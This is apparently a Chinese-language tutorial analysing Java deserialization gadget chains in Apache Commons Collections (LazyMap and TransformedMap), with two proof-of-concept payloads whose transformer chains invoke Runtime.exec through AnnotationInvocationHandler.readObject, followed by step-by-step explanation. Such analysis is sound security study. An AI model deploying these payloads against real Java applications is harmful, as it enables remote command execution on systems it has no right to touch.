lazyMap

利用链:

image-20211231165518811

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;

自顶向下解释一下这个POC:返回值是一个AnnotationInvocationHandler类型的对象,这个对象在反序列化的时候会调用AnnotationInvocationHandler.readObject()方法,在这个方法里,调用了memberValues.entrySet()

image-20211231165900137

image-20211231170113959

image-20211231171341341

这里的memberValues就是参数中的mapProxy对象,而且这个对象是用AnnotationInvocationHandler动态代理的lazyMap对象

image-20211231170131879

image-20211231171535861

所以在调用mapProxy对象的方法时,会调用AnnotationInvocationHandler.invoke(),而这个invoke中调用了memberValues的get函数,这里的memberValueslazyMap对象。

image-20211231170348217

所以,lazyMap对象的get函数被调用:

image-20211231170536403

可以看到lazyMap的get函数调用了factory.transform方法,这一步的lazyMap是经过decorate函数修饰的:

image-20211231170656105

image-20211231170705706

所以这里就是调用了transformerChain的transform函数

image-20211231171128892

然后就是链式的Transformer,会挨个执行我们定义的Transformer,获取Runtime对象执行命令

TransformedMap

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class },
new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},new String[] {
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);

ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();

依然是要想办法触发transformerChain的transform函数

image-20211231174038980

image-20211231174101891

所以我们要找谁调用了这里的checkSetValue函数,我们找到了MapEntrysetValue函数

image-20211231174623988

我们在AnnotationInvocationHandlerreadObject可以发现

image-20211231193618968

image-20211231192707577

所以我们只要使var7不为空,AnnotationInvocationHandler.readObject(xx)就会触发漏洞。

那么如何让这个var7不为null呢?

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是 Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X

  2. 被 TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素

    所以,我们要⽤到 Retention.class ,因为Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,我需要给Map中放⼊⼀个Key是value的元素,即可。